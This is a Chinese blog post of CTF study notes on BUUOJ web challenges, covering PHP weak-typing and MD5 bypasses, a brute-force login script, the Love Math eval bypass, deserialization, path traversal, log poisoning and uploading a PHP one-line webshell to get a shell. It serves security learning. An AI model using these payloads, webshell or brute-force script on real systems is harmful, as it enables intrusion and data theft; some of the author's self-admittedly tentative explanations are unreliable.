DGZ's Blog.

赵师傅b站视频学习记录以及一点misc (未完)

Word count: 3.2kReading time: 15 min
2020/04/01 Share

弱类型

就是使用的时候无需指定是什么类型,而java、c都是强类型语言

1
2
3
4
5
6
7
8
9
<?php
var_dump("0e11"==="0e12");
#bool(false)
var_dump("0e11"=="0e12");
#bool(true) 当作科学记数法,0的11次方和12次方
var_dump("admin1"=="1");
#bool(false)
var_dump( 1=="1admin");
#bool(true)

也即弱类型比较可以0e绕过

另外还有数组绕过

1
2
3
4
5
6
echo var_dump(md5(array("b"))); #数组里面放b这个元素
echo var_dump(md5(array("a")));
#NULL
#NULL
var_dump(md5(array("b"))==md5(array("a")));
#bool(true) #两个空值比较

php的其他哈希算法也是得到同一个结果,比如sha1

暴力破解

1
2
3
4
5
6
7
8
9
10
11
12
import time
import requests
target="http://a8bb7042-41d1-4663-b8bc-b7afff66b24c.node3.buuoj.cn/"

for i in range(6400,10000):
time.sleep(0.06)
print(i)
r=requests.get(target,params={"username":"admin","password":str(i)})
if r.text.find("flag") != -1:
#这里不能if r.text.find("flag") = 1:
print(r.text)
break

应该比bp慢的,如果真要1到10000爆破,首选bp

另外kali中的Hydra也可以爆破,有空可以研究一下

命令执行

php中常见的命令执行语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
eval("echo('echo 输出');");
echo "\n";
#echo 输出
system("echo 'system 输出';");
echo "\n";
#system 输出
passthru("echo 'passthru 输出';");
echo "\n";
#passthru 输出
exec("echo 'exec 输出'", $output);
#exec 输出
echo print_r($output)."\n";
#
echo shell_exec("echo 'shell_exec 输出'")."\n";
echo `echo ‘反撇号输出'`."\n";

参考:https://chybeta.github.io/2017/08/08/php%E4%BB%A3%E7%A0%81-%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/

[CISCN 2019 初赛]Love Math

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

要让eval执行cat /flag命令,限制payload长度在80内,php执行的数学函数如果含有字符串,而且这个字符串又是函数,php就会执行对应的函数功能。

正则表达式匹配网站:regex101.com

Payload1: /?abs=cat /flag&pow=system&c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pow}($$pi{abs})
即执行system(“cat /flag”)

• base_convert(37907361743,10,36) 10 进制转成 36 进制,得到 hex2bin
• hex2bin 传⼊ dechex(1598506324) 也就是 “_GET” 的 hex 值,将其从 hex 转换为
字符串。
$pi 就是 “_GET”这个字符串了。
($$pi)会调⽤到 $_GET
• {pow} 等效于 [pow],调⽤ $_GET[‘pow’]
• 后⾯加上括号,将前⾯的 ($$pi){pow}的输出结果作为函数名使⽤,括号⾥传参数,
转换机制同理。
GlUe9f.png


原Payload2:/?c=$pi=${(hexdec^decoct(31737))};$pi{pow}($pi{abs});
再post数据pow=system&abs=cat /flag
更改为:/?c=$pi={(hexdec^decoct(31737))};$$pi{pow}($$pi{abs});
再post数据pow=system&abs=cat /flag

因为原payload不是很顺利,结尾的分号可有可无因为是起连接作用但是已经没有接下来的部分了
GlNwkt.png

关于爆破出31737的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
foreach($whitelist as $white){
for($a=1;$a<999999;$a++){
$result=$white^decoct($a);
if(strpos($result,'_POST') === 0){
echo $white." ".$a;
echo $result;
echo "\n";
}
}
}
#尝试过_GET,但是没有结果

LSB隐写:https://blog.csdn.net/attitudeisaltitude/article/details/81698719
zlib:https://blog.csdn.net/weixin_43877387/article/details/103102842

代码审计

1
2
3
4
5
6
7
8
echo "PHP代码里输出的 hello world.\n";
$output = "/etc/passwd 的内容".file_get_contents("/etc/passwd")."\n";
echo $output;
$function_name = "print_r";
$arg = "这是这里输出的。\n";
$function_name($arg); //print_r($arg);
?>
HTML 里输出的 hello world.

关于/etc/passwd:https://blog.csdn.net/zyy1659949090/article/details/88176215

BUU CODE REVIEW 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/

highlight_file(__FILE__); #使代码不同功能高亮 ,__FILE__指向当前这个文件

class BUU { #定义一个类BUU
public $correct = ""; #有两个类成员,correct和input
public $input = ""; #public表示类内外都能调用,为后面的反序列化做铺垫

public function __destruct() { #析构方法
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) { #如果两个成员全相等的话,才返回flag
echo file_get_contents("/flag");
}
} catch (Exception $e) { #异常捕获
}
}
}

if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);#满足先前的条件就会对我们POST进来的obj参数进行反序列化,反序列化就是反序列化出BUU这个对象,最终拿到flag,obj就是类产生的对象
}
}
}

public 共有 ,类内外都能调用
protected 受保护的,类内和派生类能用
private 私有的,只有类内能用

1
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52'])

弱等于可以用数组绕过,也可以0e绕过,还可以md5碰撞,即:

  1. post md51[]=a&md52[]=b
  2. post md51=QNKCDZO&md52=s878926199a
  3. https://www.jianshu.com/p/c9089fd5b1ba
1
2
3
4
5
6
7
8
9
10
11
<?php
class BUU{
public $correct="";
public $input="";
#因为析构方法无法调用,可以不加
}
$obj=new BUU();#以BUU类为基础,产生了一个obj对象
$obj->input=&$obj->correct; #访问input相当于访问correct,把correct的指针给到input
echo serialize($obj);
# O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
#这串字符串就是我们的对象的描述,用这个序列化字符串绕过析构函数中的全等于,得到flag

PHP引用(&)使用:

php的引用(就是在变量或者函数、对象等前面加上&符号)
在PHP 中引用的意思是:不同的名字访问同一个变量内容。
与C语言中的指针是有差别,C语言中的指针里面存储的是变量的内容,在内存中存放的地址。

第一次用postman:
G3oMqg.png

HCTF 2018 Warm Up

访问source.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
 <?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page) #定义类方法checkFile,参数为引用的page
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; #定义白名单数组
if (! isset($page) || !is_string($page)) { #检查page是否为字符串
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) { #判断page是否在白名单内
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
); #截取page里?前的内容,赋值到_page
if (in_array($_page, $whitelist)) { #判断_page是否在白名单内
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file']) #$_REQUEST包括$_GET和$_POST
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file']; #逻辑与要求三者为true才请求文件
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

=> 是数组成员访问符号
-> 是对象成员访问符号
&& 逻辑与运算符
|| 逻辑或运算符

访问hint.php

flag not here, and flag in ffffllllaaaagggg

利用路径穿越所以payload:
http://22b21dad-ad47-4fc4-becd-ca6f63f427ab.node3.buuoj.cn/source.php?file=hint.php?../../../../../ffffllllaaaagggg
同样地
http://22b21dad-ad47-4fc4-becd-ca6f63f427ab.node3.buuoj.cn/source.php?file=hint.php?/../../../../ffffllllaaaagggg
少了个/少返回上一级目录

网上的wp到底在讲些什么蛇皮,为什么要编码绕过???
以下内容仅供参考,我以后可能回来推翻自己

由于是include $_REQUEST['file'];,所以我们传入的参数值是file的内容,也就是hint.php?../../../../../ffffllllaaaagggg

函数checkFile(&$page) 变量名称为page所以file就是传入page变量中

看到中间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; #定义白名单数组
if (! isset($page) || !is_string($page)) { #检查page是否为字符串
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) { #判断page是否在白名单内
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
); #截取page里?前的内容,赋值到_page
if (in_array($_page, $whitelist)) { #判断_page是否在白名单内
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;

对于
1
2
if (in_array($page, $whitelist)) { #判断page是否在白名单内
return true;

$page的值如果不只是hint.php或者source.php,而是加上后面的payload,为什么这里in_array还能输出true呢?

就是因为php弱类型比较,参考https://www.jianshu.com/p/e44048c473fb,如果想要严格比较需要加个true

参考弱类型中:

1
2
var_dump( 1=="1admin");
#bool(true)

待定:我理解为字符串开头相同,两者就相同。(应该只有开头是数字才满足)

对于接下来的

1
2
3
4
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')

mb_strpos($page . '?', '?')先让$page结尾接上一个?,再找首次出现?的位置,然后mb_substr函数截取这一段内容,也就是hint.phpsource.php

那妥妥的怎么可能不是true呢,肯定在白名单内

接下来urldecode,如果你用file=hint.php?../../../../../ffffllllaaaagggg,传到服务器上还是这段payload,然后urldecode之后,也还是这段,自然可以满足条件输出flag,就算你没有像https://blog.csdn.net/wang_624/article/details/101433257 一样用%253f绕过,也没有问题,url传入到服务器解码了一次,然后变成%3f,因为是弱类型比较,所以in_array都判断为true,urldecode解码后也判断为true。

我觉得和?在url中的作用有关,现在还没有弄清楚

常见危险函数和特殊函数

2016年的视频:https://www.bilibili.com/video/BV1vt411P7Pm?p=4

PHP代码执行函数

常见的webshell都是用eval,因为大部分杀软把eval列入黑名单了,所以可以用assert来代替eval执行具体操作。
G82jMQ.png

1
2
3
4
5
<?php
$cfunc=create_function('$v','return system($v);');
#cfunc('whoami');

call_user_func('system','whoami');

包含函数

G8RxSO.png

命令执行函数

G8W61O.png

文件操作函数

G8fCgU.png

特殊函数

G8fU8f.png
G8f7I1.png
G84i79.png
G85qGq.png

文件上传

文件包含

都主要需要用到蚁剑去找flag

包含到含有php语句的文件,从而命令执行
13.php:

1
2
3
4
#在13_2.php中输出我是2,运行13.php文件,可以输出我是2
<?php
$_GET['file']="13_2.php";
require_once $_GET["file"];

常⻅可在服务器上⽣成⽂件的功能

• ⽂件上传
• 服务器⽇志(/var/log/apache2/access.log 等)看Nginx还是Apache
• 程序本身的⾃带备份功能(MyWebSQL 等)

BUU LFI COURSE 1

Nginx服务器,知道日志存放的目录,读取一下
http://f1a48419-5b7c-4eec-a62a-347da58a6002.node3.buuoj.cn/?file=/var/log/nginx/access.log
接下来尝试修改 Referer 头来在⽇志⾥插⼊不被转义的内容,比如:

aaa<?php @eval($_POST[‘123456’]);?>bbb
日志会显示aaabbb,但是因为php代码被执行了所以没有显示,这样就可以用蚁剑连上去了

BUU UPLOAD COURSE 1

php一句话木马:

<?php @eval($_POST[‘123456’]);?>

上传一个带一句话木马的php文件后,也会变成jpg文件,但是不影响getshell

 http://15ee1e7b-cf5a-44af-a650-d9ce29312e3e.node3.buuoj.cn/index.php?file=uploads/5e8a06138402d.jpg
Gr4Fwd.png
显示文件包含的结果

http://15ee1e7b-cf5a-44af-a650-d9ce29312e3e.node3.buuoj.cn/uploads/5e8a06138402d.jpg
Gr4kTA.png
此时显示对应上传的内容

上传后蚁剑就可以直接getshell了
终端执行cat /flag 因为flag文件在根目录

CATALOG
  1. 1. 弱类型
  2. 2. 暴力破解
  3. 3. 命令执行
    1. 3.1. [CISCN 2019 初赛]Love Math
  4. 4. 代码审计
    1. 4.1. BUU CODE REVIEW 1
    2. 4.2. HCTF 2018 Warm Up
    3. 4.3. 常见危险函数和特殊函数
      1. 4.3.1. PHP代码执行函数
      2. 4.3.2. 包含函数
      3. 4.3.3. 命令执行函数
      4. 4.3.4. 文件操作函数
      5. 4.3.5. 特殊函数
  5. 5. 文件上传
  6. 6. 文件包含
    1. 6.1. BUU LFI COURSE 1
    2. 6.2. BUU UPLOAD COURSE 1